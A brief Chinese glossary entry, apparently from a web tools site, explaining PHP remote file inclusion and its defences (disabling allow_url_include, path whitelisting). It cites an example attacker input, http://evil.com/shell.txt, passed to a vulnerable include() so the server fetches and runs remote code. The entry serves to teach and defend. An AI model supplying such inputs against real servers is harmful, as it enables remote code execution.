跳到主要内容
uencoder

RFI

远程文件包含(RFI)是攻击者使服务端包含远程 URL 的文件,在服务器执行远程代码。

用途

理解远程文件包含导致的 RCE 与防御,是 PHP allow_url_include 开启时的高危漏洞。

机制

程序用 include($_GET[page]) 且 allow_url_include=On,攻击者输入 http://evil.com/shell.txt 使服务器下载并执行远程 PHP。防御:关闭 allow_url_include、路径白名单。

用例

  • PHP RFI 漏洞
  • 远程包含防御
  • 服务器安全

相关工具

参考链接